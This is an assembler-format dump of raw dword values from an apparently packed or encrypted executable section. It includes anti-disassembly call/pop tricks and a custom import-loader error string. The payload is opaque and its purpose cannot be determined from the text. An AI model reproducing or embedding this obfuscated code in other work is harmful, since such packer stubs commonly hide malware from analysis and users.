0C3B9F79Ch, 0E3A8EDDAh dd 0F74582D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h dd 8654A851h, 13D775BFh, 0A152A353h, 637726DDh, 55CE25FBh dd 5D439BBCh, 0AAECCE82h, 28EEECE4h, 577F0290h, 5E380319h dd 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h dd 5E004D19h, 2A54A851h, 6B773273h, 0B0D90337h, 0A454236Ah dd 92327BAEh, 9234B95h, 1FE04FDh, 0DFCC8668h, 6FDFC9ADh dd 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h, 0A15CDDDAh, 0E7828668h dd 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h, 0B3ECF58Fh, 9A875757h dd 0E0320A0h, 55CE25FBh, 5D439BBCh, 0ACECCE82h, 89EEECD8h dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h dd 0A2458AFDh, 0C0D5F251h, 0A4545898h, 2AA8ED96h, 29458A15h dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h dd 0D7BA8660h, 0E8CE2559h, 0F1439BD8h, 0E4CD32DCh, 71BA8C04h dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C456583h dd 3BDF0746h, 0D552B99Fh, 5E0003C6h, 2A5492B8h, 0AE307515h dd 0A75CDDAEh, 0B388548Fh, 0B0D9FB57h, 0A454448Ch, 6FDD7BAEh dd 0A25863E9h, 5FABA851h, 0AA307519h, 0E7BE32DCh, 2F168C04h dd 3B9A31CBh, 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh dd 0BA4582D7h, 3044h, 0D43F8D8Dh, 6A0611h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3D4B26C3h dd 99858942h, 66060B2Ah, 8969C7BAh, 0B174D8Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 8AC176F4h, 29858B24h, 0C7060B03h, 0B011985h, 5BBC06h dd 0C0BE6600h, 985C737h, 60B10h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 606CC356h dd 0DF9958Bh, 0AE9060Bh, 0DE000000h, 0A4FE74EFh, 0C3B2F629h dd 0BD31616Bh, 60B2E71h, 1A31B5FFh, 850F060Bh, 0 dd 0AC595FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0EF73C7C3h, 0BEBD45F3h, 95FF006Ah dd 60B32DDh, 5DEBC08Bh, 8C63404Fh, 79F76425h, 8E91436h dd 512E1B66h, 3935253Fh, 10F4B8C3h, 75F39FECh, 4038A100h dd 0A24645F2h, 645E263Ah, 0B2E598B6h, 8551B4D0h, 0CC484ECCh dd 4C5AD703h, 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh, 0F3133EA3h dd 0BD643B29h, 72737C47h, 0B0A35D17h, 172772E3h, 0BE1FD8B8h dd 0B1E946h, 2E780000h, 0D423CC17h, 82917EE5h, 237B944Fh dd 0D226C71Ch, 9AC170E3h, 0DD063943h, 0DD6EB30h, 0BAB994E0h dd 0D60D384Dh, 0DBAFC725h, 0ACC585C9h, 0D8DE67DDh, 32DB15F9h dd 0EC3740ECh, 941D0C78h, 5BBF83C3h, 256AFC67h, 0E1C56B4Fh dd 0C3D5C881h, 0F87ABC23h, 82676B2Ah, 0AA089064h, 72503C6Bh dd 0E53CAE1Bh, 10h, 4450BD0Fh, 1D1377FFh, 0AE94C394h, 0DEB9C4Ah dd 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh, 63D7EE32h dd 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh, 0D4A668CFh dd 0ECE90611h, 87FFF9A9h, 10CB5C84h, 45245BBDh, 0B8960A98h dd 611D541h, 4EBC503h, 5B27E563h, 0E77E9h, 0D7F16800h dd 0C4E90611h, 68FFF9A9h, 611D906h, 0F9A9BAE9h, 0D9FD68FFh dd 0B0E90611h, 68FFF9A9h, 611DAADh, 0F9A9A6E9h, 0DDFB68FFh dd 9CE90611h, 68FFF9A9h, 611E151h, 0F9A992E9h, 0E26168FFh dd 88E90611h, 71FFF9A9h, 0D8352E25h, 8667FCCDh, 709D467Bh dd 0DFC82B2Ah, 0DA79FAC5h, 1D207893h, 0EDD029C6h, 0B08F9976h dd 43142A3h, 0B63E32DFh, 0C585C8D2h, 9B0AE655h, 0AE94B28Dh dd 17FBDADEh, 0FC675EA6h, 9B41DAA2h, 5B2F166Ah, 9527C967h dd 60B71F68h, 0B5A9ED51h, 246ACB9Bh, 0FFC3BD9Fh, 0CCD4C10Bh dd 0FF8F57F1h, 2A3A60E5h, 46F57F8Eh, 0FE7EBC56h, 0C8E0D6D4h dd 0C178BAC4h, 93F77FEDh, 143A60E4h, 0EF1E002Eh, 0DA2C3505h dd 47h, 760D6F22h, 0F81540E4h, 0A09ABD9Eh, 11FC0EDCh, 44C807h dd 60C484C0h, 19370B3Ah, 60C43D4Dh, 5869BC3Ah, 0C4F305F4h dd 8B1A1070h, 518E52F7h, 9B532159h, 2E7BC2B2h, 32B3F513h dd 354F2FDEh, 151A2Ch, 0C8E20000h, 99Bh, 4C86B724h, 5A3B2B2Eh dd 25A9A0F3h, 0DED147E1h, 2C1B6DD5h, 0DAB8BF58h, 8FDE60ECh dd 1AC3B7ABh, 0A5273C09h, 96F7931Bh, 278C394h, 963054D8h dd 43B7C394h, 0F88319A5h, 9277FA72h, 0F2C8BD9Fh, 3256DE68h dd 0BB3A619Bh, 96EA5E61h, 0AC26D129h, 0AC9210E3h, 69F357F1h dd 983357DFh, 4EB43A61h, 98B4D4A0h, 33613A61h, 0A9FF2EB2h dd 4D62A9Eh, 6198E4E0h, 0F9176B3Ah, 3591E607h, 32C32Ch dd 6F2D0000h, 40E4760Dh, 0BD9F05D1h, 4A90645Eh, 90E84C5Bh dd 81E5D9ADh, 0CBB7D35Bh, 0C2383A60h, 0CB305024h, 0BFE53A60h dd 0C733DA2Eh, 121E2C35h, 0E6000001h, 0CFBB33BDh, 40C3941Dh dd 3441CC7Ah, 0BCC4B519h, 1D8BFF77h, 261CC394h, 7A8F7EC2h dd 9344CB9h, 0C5814185h, 4AC3941Dh, 0A2A81C70h, 2213723Dh dd 51FFC968h, 0F368ABFCh, 0A84FA28h, 0F591512Fh, 7AC39406h dd 0AF372C00h, 0C39403FFh, 46EE357Eh, 0C3940B02h, 9359BD85h dd 0B18C9401h, 0D7989CDh, 0EFC3940Bh, 940B0347h, 0C1BE84C3h dd 18944FF9h, 0DFA39EEDh, 0A529286Eh, 57DF0D61h, 0C3940B33h dd 0ADA04EB4h, 0EFF6D58h, 77BCF06h, 730961E9h, 0EFEA02E8h dd 40BD9F15h, 0DFBDF97Ah, 741E9644h, 0C7446D60h, 64BC69F3h dd 176D9A59h, 34EEDF28h, 351D8C6Ch, 0B2952h, 0ECDB2F00h dd 0B28F9677h, 43544A1h, 0E9E82EDFh, 0B8879D0Ah, 36D51CBBh dd 0E700D3E2h, 57B0A39Eh, 0ED7641h, 0F019DAF7h, 0CA90F478h dd 0A817C585h, 0FBDADE30h, 3B4FE771h, 8CC3941Dh, 1D582C40h dd 0EB2FC394h, 719E59F7h, 3357DF24h, 0B43C6BE2h, 7F896A4Eh dd 9F49888Eh, 760D6FB9h, 5D140E4h, 0C233BD9Fh, 0DE3286B3h dd 1BEFD330h, 60CBBBCBh, 0BB4A6E3Ah, 35C6A841h, 0DB812Ch dd 0DE6F0000h, 0E2E60ED5h, 65C3941Dh, 0E455391Dh, 4BBA19Ch dd 0D6258E67h, 0F032D1Dh, 4F3BB33Dh, 0C0C39452h, 0E8B84CFAh dd 69C39457h, 0CA3B211Ch, 81628CB9h, 0FBFD1364h, 2169D154h dd 0D5C9F40Dh, 55D96BF1h, 0C3941231h, 0E25D60B8h, 829A6E98h dd 69FB61FAh, 59CD5BF2h, 0C3032A0Ch, 0C3943E87h, 5A143208h dd 9F20C7D2h, 0C11268BDh, 704D5647h, 0ADB6C6D6h, 745E37BFh dd 7E2F446Dh, 6BE11E33h, 1EF29A3h, 0CD382206h, 0BA6B88B7h dd 1F905F66h, 568C6C6Bh, 0A141BFCh, 0CED80000h, 74836CF7h dd 22719E45h, 0C3DB342Fh, 728667FCh, 3A219043h, 7DE6D923h dd 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h, 0CC585C4h dd 50BDC7BDh, 0A69BE048h, 6C9AFED2h, 0BFA49BE1h, 0EB08454Eh dd 0F8D5DE2Dh, 63B3CD72h, 0E0F99109h, 483C0319h, 0E476DA74h dd 35D3EE39h, 61F2CFD8h, 3448941Ch, 9E3D2Fh, 0BAEED486h dd 9036EA15h, 58044186h, 9DA83CAEh, 0FFBD9F0Fh, 0F2C7DA40h dd 0C4D7191Bh, 0E9CD01F5h, 85FAC03Fh, 625FAA5Bh, 0F88CBA9Eh dd 0E2A53457h, 0EC7E0597h, 285CD062h, 0B193BB1Ah, 95ED6A69h dd 48E6D324h, 0B02B99BCh, 2094EEEDh, 0BDAFB4C8h, 0BA264129h dd 0ADC153F7h, 87816BD9h, 5DBA54AEh, 0B865F765h, 0A8EC5069h dd 816B2C58h, 0B15FA387h, 88C5CE3Fh, 274FD96Bh, 87816BA3h dd 6FE8D52Ah, 710FD2Bh, 0F8BC3DCAh, 13F73C3Dh, 91DBCh dd 0F8D72300h, 4E7B8A7Bh, 10297895h, 0E5DC22C3h, 0B48B917Eh dd 2AC128AFh, 9B74EFD6h, 4BA4BF82h, 34D1023Dh, 0FC0DD6E3h dd 0C48CF86Ch, 0B403C585h, 0F8D5DECCh, 0F3881414h, 1AC0C569h dd 8B45BD9Fh, 60E66763h, 0BE92E83Ah, 183741ACh, 0B73F49DBh dd 3A60E6D3h, 4DC06E54h, 2983993Bh, 388CE0DFh, 112C75C4h dd 817569ADh, 417D04BBh, 49753A5Fh, 0E4B3D79Fh, 3433A60h dd 333A60D4h, 9D08D269h, 0F6CABE85h, 99049658h, 88CCB08Fh dd 0C06B965Eh, 73DC446Bh, 5B76812Bh, 5BBF9367h, 55FD06F7h dd 43870B46h, 9A4BE06Fh, 50B28C69h, 86DFFh, 28277300h dd 0FECBDACBh, 40798865h, 152C7293h, 0E4DB21CEh, 7A91D87Fh dd 2BC41F26h, 9B74EFD2h, 44A1B28Dh, 2CDD0633h, 0C7DCA83Ch dd 0E453C585h, 760D6F7Ch, 299D40E4h, 2812BD9Fh, 97A2F5A4h dd 5F881645h, 0DF35B02Ch, 0CB3AB631h, 0DA3E82BDh, 0A72B2673h dd 3D48C563h, 0A1672FAh, 0A1993A60h, 990D9F4Dh, 3A600AEDh dd 4D788D62h, 87A185F9h, 90E6B83h, 0A474BE3h, 82F83A60h dd 481033Eh, 0BAB9889Fh, 600A5434h, 215643Ah, 0A5C54D8h dd 0AF933A60h, 7D4C5BB4h, 42524389h, 4109DD0Bh, 0BC3A600Bh dd 0B263E9E4h, 57B6506Dh, 5E27140h, 0B4252F2h, 6C99A317h dd 72022C1Dh, 3A600B42h, 1098156Fh, 0E06096E5h, 0EA3EFC52h dd 56B751B5h, 0A190E74Fh, 5E85F9DDh, 74E67900h, 604791F0h dd 0A9CC733Ah, 2B161BCEh, 6E54B35Dh, 9E934A9Ah, 0D122B600h dd 5B2F2271h, 0CEBF0367h, 39181ECAh, 0CCC471C5h, 0C0A84DC1h dd 0C48024B6h, 4B4606DCh, 0DC8BFF77h, 261C4606h, 951FAE08h dd 5D211C68h, 0BC6DCF79h, 95B7D2CDh, 1A9h, 4A50BD73h, 0BBC1DD0Bh dd 0B332BAA0h, 0BCBD9F16h, 1C699446h, 7EB468D7h, 81238200h dd 60130541h, 5CB08A3Ah, 201D6687h, 4004A83Ah, 0C93A6013h dd 0CF338CB3h, 0EB392921h dd 6AC5268Dh, 0F25B2F16h, 7826AAA7h, 0F3D3AF3Eh, 0B2C72CB9h dd 66B35C87h, 0A855E76Bh, 0BC51BA5Ch, 1CC6D55Bh, 0D6705438h dd 0B7ACB3C6h, 8D714056h, 65FECBDCh, 98427F88h, 77E2E60Eh dd 1D65B139h, 0C26C5DACh, 0FA72FC4Eh, 0B139778Eh, 470F3901h dd 20B3E3D5h, 8ABC23C1h, 726C5A4Dh, 8DC02778h, 84F8D291h dd 54BD486Ah, 0ED7643h, 0CCB82CF7h, 2EC3B62Fh, 0B62FC286h dd 827D45C3h, 679644B8h, 4B5A231Eh, 2078D07Eh, 0AC4A5359h dd 0A9AB7F19h, 1DECC060h, 10DA3E05h, 0C0011786h, 0B6D0D8ACh dd 776BAFC3h, 0D0790DD9h, 61CEC3B6h, 12C12518h, 2C90AFF5h dd 40AAADCCh, 0B6D0542Ch, 31422BC3h, 785CB004h, 59F90AFBh dd 0AF13774Ah, 379BBAFEh, 967F8E0Ah, 0E7D2258Dh, 43370E16h dd 0DFC82B0Fh, 0E1E509CAh, 66C3B6D1h, 5454381Ch, 84283245h dd 0C3B6D1C8h, 6CF87B5Fh, 0B0FD27CFh, 0B609483Ch, 5CFBDFC3h dd 98B64B3Fh, 0E15560B5h, 635AAA5Bh, 0ADD94D9Fh, 22C3B6E3h dd 0C34AE4D8h, 0DC369AB5h, 7432AD12h, 0FF816882h, 0B1565751h dd 236E9F64h, 9AA2262Eh, 4825C3B6h, 34280C3Dh, 98B5FE2Fh dd 92A5F434h, 9AB42448h, 0C73BC3B6h, 67638B15h, 0E8C3B69Ah dd 12F37492h, 2747CB02h, 8D1FCD52h, 5E11662Eh, 87A1FA62h dd 0B6329BFFh, 0CD166CC3h, 4150BD37h, 1A6FDE08h, 126A342Fh dd 9A4BE309h, 0D3BD9F23h, 0EDE7DEFh, 0C72286DEh, 28D597B1h dd 0F672E1DCh, 17C5F407h, 607FEB9Fh, 0E8067C3Ah, 5AD21365h dd 3A607F2Eh, 916559A1h, 0F2780399h, 6B784F7Ah, 176FC044h dd 0C60A428h, 3543B2B8h, 0B452B61Ah, 7D70A020h, 0AC0C9030h dd 3CC6FCF6h, 0F5675BA5h, 76E58C71h, 0B519614Eh, 4986B3C4h dd 9274B88Ch, 1F04FB4Fh, 25000005h, 8C79FAD1h, 7AAB4879h dd 24C1122Fh, 937CE7DEh, 16ADB689h, 0E9D42CCFh, 0B9849D0Ah dd 0C3B4DBAh, 0D0ED36D7h, 0FA72FE03h, 0C585C08Eh, 6FCAB201h dd 40E4760Dh, 0BD9F2419h, 0CFF60AFBh, 0B08D927Bh, 6D55B25Ch dd 0E8384999h, 7DEF3A60h, 43B551DEh, 8732F892h, 3A7125A5h dd 387A9488h, 0A1F627ADh, 3841289Ch, 795DB105h, 0E3BC6DCFh dd 0CD952C34h, 73000000h, 941D57A7h, 0B78E96C3h, 20759253h dd 0B90CE15h, 0E42EA70h, 0ECC3941Dh, 561D5E4Fh, 0FD06C964h dd 0C542ECC0h, 49DD6FFDh, 0C394B93Dh, 0B93357DFh, 4EB4C394h dd 0EB5F89F1h, 1FC4F102h, 35273C5Fh, 3E82BFC8h, 7DD8D01h dd 72568907h, 1D881AD4h, 0E134E608h, 874F5098h, 4DFBDFA3h dd 94A0C5B9h, 9C605AC3h, 7FEDD82Dh, 0C448858Eh, 38D6680h dd 0A0097DF1h, 7BF3C394h, 0C394A00Fh, 0E5DDBA80h, 1328734Bh dd 0A045A5C9h, 0B08AC394h, 1F227BAAh, 618557ABh, 0C394A065h dd 927690EAh, 93603252h, 28A5FFC3h, 0C8122972h, 946044A4h dd 0A5B78BC3h, 60F7931Bh, 278C394h, 5A8103E4h, 0CED7304Bh dd 247444F3h, 0E4FE6583h, 6000000h, 0E4760D6Fh, 9F299D40h dd 888E7FBDh, 84B5C049h, 0D532DC30h, 40E42F78h, 3A60F704h dd 7F53B78Bh, 0E0DD228Bh, 0C7542373h, 0F7F99115h, 891B3A60h dd 60F76165h, 729CE63Ah, 0D1EC3895h, 2735296Dh, 2D91A0F6h dd 1BCB3FE9h, 3C9FA554h, 0BA32DBFh, 3A60F77Fh, 0CC608AF0h dd 3A60F7B8h, 9B1DCB0Fh, 0F757F60Ah, 78722C34h, 0EE000000h dd 364CE83Fh, 6347BB0Fh, 33BD5FC5h, 941DCFBBh, 0DD7A40C3h dd 3995D73Fh, 3686A0E8h, 0E408D261h, 0C3943CE0h, 9DAF1367h dd 0A1152870h, 354AC36Dh, 0CFFA0FFEh, 943C4307h, 9AFEC4C3h dd 0F97A1D59h, 3CDBFB73h, 6E54C394h, 77EB509Ah, 26764560h dd 0F393638Dh, 3EC393DEh, 64336B7Ah, 79ED3242h, 3C6BDE0Dh dd 0F544B882h, 0EF2397A2h, 0EDCD618Bh, 423C6BDEh, 0DE1DFB78h dd 0E072F8D5h, 6DD1EC35h, 1DADD929h, 0D822C394h, 2673DA2Eh dd 51BCC82Bh, 4D817548h, 0FA811BA3h, 1971FC70h, 0FCC6BD9Fh dd 0E6A8D808h, 277D3A60h, 7BB52A6h, 32962C35h, 7E000000h dd 0E4760D6Fh, 9F05D140h, 90645EBDh, 60CB3050h, 0C068B13Ah dd 0DEA286BBh, 63B81C6Fh, 6B967A5Eh, 4FE29C29h, 89A05855h dd 0A02C35C6h, 10Fh, 4550BD4Ch, 0CCD98074h, 0D5C90DF1h dd 61C1D23Bh, 7CC0241Bh, 0C448778Dh, 41350015h, 17F90AFBh dd 2DD1010Bh, 94785C1Dh, 62B796B0h, 0A286B3C2h, 0BEC637B1h dd 0BD8EEF5Ch, 6347A448h, 0F98DBB9Fh, 0C3947DA9h, 7E4B5A4Bh dd 1D287DD0h, 1C154AC6h, 8EC3CE94h, 5639C63Ah, 0E26B858Eh dd 47B6A491h, 52DA003Fh, 0C394A636h, 0A3A741B9h, 0C02A314Bh dd 0DF1CCD5h, 28F28C12h, 4781E19h, 9CEF10FBh, 123C48B5h dd 0E22DD458h, 0B882BD9Fh, 9AA1FBBBh, 0CDD7C650h, 0A83C0EF2h dd 3A61ABDCh, 0DD0B6F53h, 6C3DF809h, 9BED1844h, 0BD8582ACh dd 1B3A7EAFh, 0E6D324D1h, 3A7EAF48h, 6C0BCC1Bh, 40C28C6Bh dd 1C98Fh, 4C7B8F00h, 122F7697h, 0E4D524C1h, 49888E7Fh dd 18277DAAh, 96757CDBh, 47A0B382h, 37D0033Eh, 0E00DD6E1h dd 50B9BA97h, 0FC701498h, 8F7C585h, 6EDADE90h, 0F35A2E23h dd 5FB397AAh, 1032E8Dh, 0C49A95B9h, 4B5C492Ah, 6F1FE57Eh dd 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0E46867B1h dd 6CD0EF35h, 5832B3F1h, 1AEEFFA5h, 2C35C6F3h, 0E8DEh dd 0D5DE2600h, 54D8156Dh, 0C3941D30h, 9B6F43B7h, 0EFF43A7h dd 0EF47CB0Ah, 0C39418BFh, 1BD8F53Eh, 0D8AC99EAh, 926DAD12h dd 0AB78AF5Fh, 0E30D6158h, 0DC2FC1DBh, 0FC6389EDh, 9C1304C1h dd 267AC3CBh, 0F77FF11Fh, 4260B00Eh, 39106392h, 20CA300Fh dd 2195A0F5h, 95F7931Bh, 2783A60h, 0D484112Eh, 10BED120h dd 5B217DF6h, 90921AC0h, 5B446D23h, 0F46BF567h, 0B7F362F1h dd 0D002E67h, 992BC8F7h, 0D7E3E70Fh, 8B643072h, 84F84C73h dd 7D8786A0h, 0A37C8542h, 53B78C6Ch, 0B9FCh, 5C6BBF00h dd 221F6687h, 0F4C5D431h, 5978BE6Fh, 28176D9Ah, 86658CCBh dd 77904372h, 27C0132Eh, 907DE6D1h, 60A94A87h, 0FF606488h dd 18E7C585h, 0F91EBDA0h, 0D31CAB15h, 2078D573h, 0DC29C61Dh dd 64F672E1h, 946A84C0h, 19370BC3h, 0F8D5DE23h, 0C4D7C614h dd 563A1760h, 56AA1E72h, 754055B8h, 0C2ECB0EEh, 0BBA185BCh dd 8569F333h, 0D4067CBDh, 0B49D1067h, 8E5C0325h, 7A766266h dd 739DE53Ah, 0E8E52E9Fh, 0BC899A0Bh, 751218C8h, 60BA9F4Ch dd 5E6BBC65h, 221F6885h, 16618C5Eh, 91E6573Bh, 0AF9E48ACh dd 79E46857h, 3045AA3Bh, 0E431DE05h, 3A265E9h, 0CA000000h dd 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh dd 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 56CF7BCFh dd 0C681E689h, 4, 4BF57h, 0FE290000h, 2434875Fh, 6633685Ch dd 2C890000h, 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h dd 81243489h, 4ECh, 24148900h, 35161BAh, 0CEF28131h, 89371284h dd 8B545AD5h, 0C4812434h, 4, 24048155h, 110E0BF6h, 5208468Fh dd 86D21BAh, 0F7E2D12Ah, 0C8EA81DAh, 299AE119h, 0FF5A0856h dd 835E2434h, 2C8B04C4h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 0F99B62E9h, 5F16F7FFh, 0FCCF484h, 18A160B8h dd 11E33FB8h, 0FFC50306h, 425F9BE0h, 0AE634938h, 26D3A747h dd 0AAEB252Eh, 5C65ED47h, 17D0300Eh, 0C4529B37h, 0F95C7644h dd 0DEE53E27h, 0FFBB8868h dd 3925F403h, 6235A00Ah, 11ADB42Ch, 0FB34E130h, 48310D06h dd 0EB1E5E44h, 0E1920123h, 7DF46861h, 9D641542h, 9A4A1207h dd 28517E23h, 0E017E423h, 48E58066h, 1DF0496Eh, 405A2E5Dh dd 0F1141703h, 23F7E94Ah, 0A80D5950h, 7E85Ah, 2EF30000h dd 0D1910119h, 0F78B66EAh, 6E95Ah, 66890000h, 2177A38Ah dd 6F8AC281h, 0BB0000h, 0F8000000h, 811334FFh, 0F847A2D7h dd 0C081582Bh, 73BA9F11h, 9850Fh, 8D0F0000h, 3, 81F7B70Fh dd 0C8E12DE8h, 5AC08175h, 605718FAh, 0AE8h, 3B7BFE00h dd 2C28537Eh, 0F83DFA5Dh, 0F681665Eh, 50615666h, 0B15609B9h dd 1A048F78h, 7E9h, 0BBF63000h, 9BCEB098h, 1532C181h, 0EB83685Ah dd 2DBF6602h, 0FC4B4B39h, 910CFB81h, 850FFFFFh, 0FFFFFF8Ch dd 12A7BE66h, 0E59A8D8Dh, 6A0611h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 156BA2C3h, 892B92B3h dd 0B174D8Dh, 1985C706h, 4060B01h, 6A000060h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 4570C352h, 6E3EE4DCh, 6830F16h, 8B000000h, 0B08A1BDh dd 985C706h, 60B10h, 0B4000000h, 7DB5FFADh, 6A060B1Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0B442C353h, 0C595FFD3h, 6A060B0Ah, 0DD95FF00h dd 8B060B32h, 0C52AEBC0h, 1DCCA2D8h, 0C5FBCA61h, 0F11F91A7h dd 8422499Ch, 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0B6F09F73h dd 0D2C29D5Ch, 6203294Bh, 127E92Dh, 5B500000h, 0EFAC7376h dd 154Eh, 6E410000h, 72724520h, 6820726Fh, 6F207361h, 72727563h dd 77206465h, 656C6968h, 616F6C20h, 676E6964h, 706D6920h dd 7374726Fh, 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h dd 0F7E30077h, 0E6000077h, 777h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 1E639F8Fh, 1C131134h dd 3CB735B1h, 61664239h, 9E35722Bh, 1177A9F2h, 90EF8832h dd 136D6E07h, 0A67CBFBFh, 0C699173Fh, 0A8E5D069h, 136D6DE3h dd 45715632h, 1177A961h, 90EF8832h, 136D6E07h, 0A56FBFBFh dd 0C699173Fh, 0D5EDD069h, 0F37BF9B1h, 1A662423h, 156601B6h dd 0F8E30532h, 0EA60559Fh, 8E3AFE2h, 0EA60009Ch, 50E34EE2h dd 43604F1Ah, 0BDDE705Ah, 40D3EEAEh, 98608321h, 1B1B5CB7h dd 9CB6DD34h, 1E73BCB7h, 0F8E30534h, 456055D4h, 0F0A8A7BFh dd 0EA361723h, 1E63A5A7h, 78E38334h, 15602935h, 0D3661132h dd 1E4ECDB7h, 7C0E0134h, 0EAE8505Bh, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 44E3ABE2h, 0D3601A13h, 1E4ECDB7h, 4B0E0734h dd 0EAFA4559h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 10E3ABE2h dd 0D36000D4h, 1E4ECDB7h, 3C0E1034h, 0EA88405Ah, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 1CE3ABE2h, 0D36000D4h, 1E4ECDB7h dd 0D70E0134h, 0EABC420Ah, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 18E3ABE2h, 966000D4h, 1E6D918Fh, 90694434h, 15662277h dd 3D2394F4h, 7D238E39h, 0EF463AB4h, 1E6797CDh, 90EB1739h dd 136DB13Fh, 90EF94CDh, 1377C423h, 3D2394F4h, 7D2A8E39h dd 0F54094F1h, 1E6797CDh, 90EB1739h, 136DB13Fh, 90EF94CDh dd 1377C427h, 156651DBh, 50E34E32h, 47604F1Ah, 5F822F5Ah dd 0D3EE8Eh, 9860831Bh, 1E5F49B7h, 9CB6DD34h, 48000B7h dd 50E34E34h, 47604F1Ah, 592C6A5Ah, 0D3EE94h, 9860831Bh dd 1E5F49B7h, 9CB6DD34h, 48004B7h, 50E34E34h, 47604F1Ah dd 57D2C85Ah, 14D3EECFh, 98608339h, 1E5F49B7h, 9CB6DD34h dd 1E71B0B7h, 50E34E34h, 62604F1Ah, 82CE815Ah, 0D3EEC1h dd 98608331h, 1E5F49B7h, 9CB6DD34h, 1E4C44B7h, 50E34E34h dd 47604F1Ah, 0C857355Ah, 14D3EEB8h, 98608339h, 1E5F49B7h dd 9CB6DD34h, 1E4898B7h, 50E34E34h, 43604F1Ah, 0A0B1B5Ah dd 40D3EEE6h, 98608321h, 1B1B5CB7h, 9CB6DD34h, 1E7F64B7h dd 50E34E34h, 52604F1Ah, 0C976585Ah, 14D3EEB3h, 98608339h dd 1E5F49B7h, 9CB6DD34h, 1E6BF0B7h, 50E34E34h, 52604F1Ah dd 1AD3C05Ah, 14D3EEB8h, 98608339h, 1E5F49B7h, 9CB6DD34h dd 48024B7h, 34DB0B34h, 15604F32h, 1337A63Dh, 90A01132h dd 136DA077h, 98F2C7Eh, 0A099FBE8h, 136D1A33h, 2C6B0DBFh dd 0C5994239h, 0F347A7BBh, 90A01723h, 136DA077h, 0CBA82C7Eh dd 0A099FF46h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F343A7BBh dd 90A01723h, 136DA077h, 97592C7Eh, 0A09995B3h, 136D1A33h dd 2C6B0DBFh, 0C5994239h, 0F34FA7BBh, 90A01723h, 136DA077h dd 557E2C7Eh, 0A099911Dh, 136D1A33h, 2C6B0DBFh, 0C5994239h dd 0F34FA7BBh, 90A01723h, 136DA077h, 13722C74h, 0A09998ECh dd 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F357A7BBh, 90A01723h dd 136DA077h, 51C2C75h, 0A099A3EEh, 136D1A33h, 2C6B0DBFh dd 0C5994239h, 0F35FA7BBh, 90A01723h, 136DA077h, 9BCA2C75h dd 0A099CDB5h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F35BA7BBh dd 90A01723h, 136DA077h, 0B2B42C75h, 0A099F6A8h, 136D1A33h dd 2C6B0DBFh, 0C5994239h, 0F327A7BBh, 90A01723h, 136DA077h dd 2C622C75h, 0A09998F3h, 136D1A33h, 2C6B0DBFh, 0C5994239h dd 0F323A7BBh, 0A8E51723h, 136DA8CFh, 0D3463132h, 1E4E67B7h dd 720E5634h, 0EA86FA1Fh, 1E6D4587h, 18E3AF34h, 0EA601A0Bh dd 5CE301E2h, 0D36055D4h, 1E4E67B7h, 0A40E5634h, 0EAE8A181h dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 58E301E2h, 0D36055D4h dd 1E4E67B7h, 0B20E5234h, 0EAA6FE78h, 1E6D4587h, 18E3AF34h dd 0EA601A0Bh, 44E301E2h, 0D36055D4h, 1E4E67B7h, 0FE0E5D34h dd 0EA9DEE5Eh, 1E655187h, 18E3AF34h, 0EA601A0Bh, 0F0E301E2h dd 0D36055D4h, 1E4E67B7h, 400E5534h, 0EADDFBBCh, 1E6D4587h dd 18E3AF34h, 0EA601A0Bh, 40E301E2h, 0D36055D4h, 1E4E67B7h dd 0E90E5234h, 0EADA065Ch, 1E6D4587h, 18E3AF34h, 0EA601A0Bh dd 4CE301E2h, 0D36055D4h, 1E4E67B7h, 0BF0E4234h, 0EAA0980Ch dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 48E301E2h, 966055D4h dd 1E60B38Fh, 91691134h, 156688D2h, 3D23C1F4h, 7D202439h dd 0EFF0DF03h, 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh dd 13776E8Bh, 3D23C1F4h, 7D202439h, 0E9C12BE4h, 1E673DCDh dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EFBh, 3D23C1F4h dd 7D202439h, 879AB532h, 1E673DCDh, 90EB4239h, 136D1B3Fh 